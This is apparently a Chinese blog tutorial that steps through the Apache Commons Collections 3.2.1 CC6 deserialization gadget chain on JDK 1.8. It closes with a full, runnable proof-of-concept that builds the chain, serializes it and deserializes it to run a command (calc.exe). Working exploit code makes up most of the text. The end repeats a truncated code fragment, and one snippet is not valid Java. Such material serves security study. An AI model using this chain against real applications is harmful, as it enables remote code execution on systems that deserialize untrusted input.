java 反序列化:手把手教你从 0 开始调试 cc 链_commoncollection java反序列化
此文章调试的 cc 6:
- commons-collections 3.2.1
- jdk 1.8
环境搭建
直接默认新建一个 maven 项目
github 直接下载一个commons-collections 3.2.1 版本的源码。
下载好后,直接把源码下的这个目录 commons-collections-collections-3.2.1\\src\\java\\org\\apache\\commons\\collections 所有文件放到你刚刚创建的项目一摸一样的路径下,类似这样:
收起来长这样:
下载完之后跑一下,看看是否能跑成功(如果因为引入 cc 源码跑不起来,直接将错误的代码注释掉即可,因为不影响 gadget 链调试)。
开始调试 cc 链
要调试 cc 链,建议看看 ysoserial 源码,或者 gadget 链。
/*Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser*/
直接从下往上开始看。
InvokerTransformer
public class InvokerTransformer implements Transformer, Serializable { private static final long serialVersionUID = -8653385846894047688L; private final String iMethodName;// 传入的方法。 private final Class[] iParamTypes;// 传入的参数的类型。 private final Object[] iArgs;// 传入的参数。 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { // 构造函数。 super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass();// 反射获取目标类。 Method method = cls.getMethod(iMethodName, iParamTypes);// 反射获取目标类的方法和参数。 return method.invoke(input, iArgs); // 执行 } catch (Exception ex) { throw new FunctorException(\"...\"); }}
- 直接给 InvokerTransformer 类的 transform 方法传入一个类。
- 在 InvokerTransformer 类中的属性传入:
- iMethodName:方法名。
- iParamTypes:参数类型。
- iArgs:参数。
这样就可以通过 InvokerTransformer 类调用其他类的其他方法,如下代码。
// 属性中传入:// 方法名// 参数类型// 参数InvokerTransformer it = new InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"calc\"});// transform 方法传入类it.transform(new Runtime.getRuntime()) // 上述代码调用了 Runtime 类的 exec 方法,并传入了 calc 参数,从而导致命令执行,弹出计算器。
ChainedTransformer
众所周知,java 序列化不能将 Runtime.getRuntime() 类直接放到属性中来构造 gadget 链,因为 java 序列化也会对类中的属性也进行序列化,如果 Runtime.getRuntime() 作为类的属性,那么反序列化将失败。因为 Runtime.getRuntime() 是个单例类,没有实现 Serializable 接口,所以其不支持序列化导致序列化过程失败。
那么我们需要调用能序列化的类,来动态创建 Runtime.getRuntime() 实例,而不能直接将 Runtime.getRuntime() 进行序列化。
ChainedTransformer 就是实现这一动态创建 Runtime.getRuntime() 实例的类。
public class ChainedTransformer implements Transformer, Serializable { private static final long serialVersionUID = 3514945074733160196L; private final Transformer[] iTransformers; public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }}
我们能通过 InvokerTransformer 的 transform 方法,能调用其他类的方法。
然而通过 ChainedTransformer 类能批量调用 InvokerTransformer 的 transform 方法间接批量调用其他类的其他方法。
首先动态创建 Runtime.getRuntime() 实例的类代码如下:
Class<?> clazz = Runtime.class;Method method = clazz.getMethod(\"getRuntime\");Runtime runtimeInstance = (Runtime) method.invoke(null);runtimeInstance.exec(\"calc.exe\");
通过 ChainedTransformer 类动态调用创建 Runtime.getRuntime() :
// Transformer数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), // 将上一个对象 transform 结果作为当前对象的 transform 方法的 input 参数。 // ConstantTransformer(Runtime.class) 是返回一个 Runtime.class 对象,将 Runtime.class 作为参数调用当前对象的 transform 方法。 // transform 执行内容为: // 1. 获取 Runtime.class 对象的 getMethod 方法。 // 2. 调用 getMethod 方法,参数为 getRuntime。 // 3. 返回一个 method 类型,值为:public static java.lang.Runtime java.lang.Runtime.getRuntime()。 new InvokerTransformer(\"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", new Class[0]}), // 1. 获取 java.lang.Runtime java.lang.Runtime.getRuntime() 对象的 invoke 方法。 // 2. 调用 invoke 方法。 // 3. 返回一个 Runtime 实例。 new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 1. Runtime 实例传递进来,获取实例的 exec。 // 2. 调用 exec 方法,并传递 calc 参数。 // 3. 执行 payload。 new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc.exe\"}), new ConstantTransformer(1) }; // ChainedTransformer实例 Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(\"1234\");
如上运行结果也是弹出计算器,而且是使用能序列化的类来动态创建并调用 Runtime.getRuntime() 。
ConstantTransformer
这里解释为什么如上调用 new ConstantTransformer(Runtime.class).transform() 能返回一个 Runtime.class 对象。
public class ConstantTransformer implements Transformer, Serializable { private static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer(null); private final Object iConstant; public Object transform(Object input) {// 这里直接将 Runtime.class 传进 transform 能直接返回其实例。 return iConstant; }}
LazyMap
现在只需要触发上述构造的 ChainedTransformer 的对象的 transform 方法就能够触发 gadget 链执行 payload 弹出计算机,而且类的内部属性不存在不能序列化的对象,这就是其反序列化流程会正常进行。
那么如何触发 ChainedTransformer 的对象的 transform 方法呢?
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { private static final long serialVersionUID = 7990956402564206740L; protected final Transformer factory;// 传入一个 transformer 接口 public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key);// <------- transformer 实体类对象调用自身 transform 方法 map.put(key, value); return value; } return map.get(key); } protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException(\"Factory must not be null\"); } this.factory = FactoryTransformer.getInstance(factory); }}
LazyMap 支持序列化且能出触发 ChainedTransformer 的 transform 方法。但是需要触发 LazyMap 的 get 方法。
TiedMapEntry
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; } public Object getKey() { return key; } public Object getValue() {// <------ getValue() 能触发 map 的 get 方法。 return map.get(key); } public boolean equals(Object obj) {// <------ equals() 能触发 getValue() if (obj == this) { return true; } if (obj instanceof Map.Entry == false) { return false; } Map.Entry other = (Map.Entry) obj; Object value = getValue();// <------- 触发点在这里。 return (key == null ? other.getKey() == null : key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue())); } public int hashCode() { Object value = getValue();// <------- hashCode() 能触发 getValue() return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public String toString() { return getKey() + \"=\" + getValue(); }}
所以目前只需要触发 TiedMapEntry 的 hashCode,就能触发整个 gadget 链来代码执行。
入口点 HashMap
找入口点只要找其 readObject 方法能触发 hashCode 方法的类,这里 jdk1.8 的 HashMap 就能够触发属性的 hashCode。
// HashMap 的 readObject 存在如下这一行代码:putVal(hash(key), key, value, false, false);// 这里的 hash 方法里面存在这个 hashCode 方法。return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
所以要找入口点要满足以下条件:
- 实现了 Serializable 接口,并重写了 readObject 方法。
- readObject 方法能触发 hashCode。
整个 poc
public static void main(String[] args) throws Exception{ // Transformer数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), // 将上一个对象 transform 结果作为当前对象的 transform 方法的 input 参数。 // ConstantTransformer(Runtime.class) 是返回一个 Runtime.class 对象,将 Runtime.class 作为参数调用当前对象的 transform 方法。 // transform 执行内容为: // 1. 获取 Runtime.class 对象的 getMethod 方法。 // 2. 调用 getMethod 方法,参数为 getRuntime。 // 3. 返回一个 method 类型,值为:public static java.lang.Runtime java.lang.Runtime.getRuntime()。 new InvokerTransformer(\"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", new Class[0]}), // 1. 获取 java.lang.Runtime java.lang.Runtime.getRuntime() 对象的 invoke 方法。 // 2. 调用 invoke 方法。 // 3. 返回一个 Runtime 实例。 new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 1. Runtime 实例传递进来,获取实例的 exec。 // 2. 调用 exec 方法,并传递 calc 参数。 // 3. 执行 payload。 new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc.exe\"}), new ConstantTransformer(1) }; // ChainedTransformer实例 Transformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform(\"1234\"); // 如上代码等价于如下代码:// Class clazz = Runtime.class;// Method method = clazz.getMethod(\"getRuntime\");// Runtime runtimeInstance = (Runtime) method.invoke(null);// runtimeInstance.exec(\"calc.exe\"); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, \"foo\"); // 现在需要一个 hashmap 来构造 gadget 链的入口点。 // 但是如果你直接 put 构造的话,会直接触发 payload,如下注释的代码。 // HashMap hashMap = new HashMap(); // hashMap.put(entry,\"foo\"); //这行代码提前触发 payload // 如下代码避免构造 gadget 链入口点时,直接触发 payload。 HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(\"placeholder\", \"bar\"); // 使用反射修改 key 为 tiedMapEntry Field tableField = HashMap.class.getDeclaredField(\"table\"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object node : table) { if (node == null) continue; Class<?> nodeClass = node.getClass(); Field keyField; try { keyField = nodeClass.getDeclaredField(\"key\"); } catch (NoSuchFieldException e) { // JDK 8 以下版本使用的是 \"key\",JDK 9+ 用 \"hash\" 和 \"next\" continue; } keyField.setAccessible(true); if (\"placeholder\".equals(keyField.get(node))) { keyField.set(node, entry); break; } } // 到这里构造成功,不会提前执行,且不会提前触发 gadget 链。 // 直接序列化 payload。 byte[] bytes = serializeObject(hashMap); System.out.println(\"反序列化数据:\" + Arrays.toString(bytes)); unserializeObject(bytes);// 反序列化立刻触发 gadget 链。 }public static byte[] serializeObject(Object o){ try { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); return baos.toByteArray(); }catch (Exception e){ System.out.println(e); } return null; } public static Object unserializeObject(byte[] bytes){ try { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(bais); Object p = ois.readObject(); return p; }catch (Exception e){ System.out.println(e); } return null; }
注意事项:
在 java 的序列化中,任何字段如果持有一个非 Serializable
的对象,序列化时都会失败。(java 会递归检测所有属性对象的所有字段)。
除非这个对象的类型被 JVM 特殊处理,比如 Class
对象会被转为类名保存,而不是序列化实例本身。
teArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object p = ois.readObject();
return p;
}catch (Exception e){
System.out.println(e);
}
return null;
}
注意事项:在 java 的序列化中,任何字段如果持有一个非 `Serializable` 的对象,序列化时都会失败。(java 会递归检测所有属性对象的所有字段)。除非这个对象的类型被 JVM 特殊处理,比如 `Class` 对象会被转为类名保存,而不是序列化实例本身。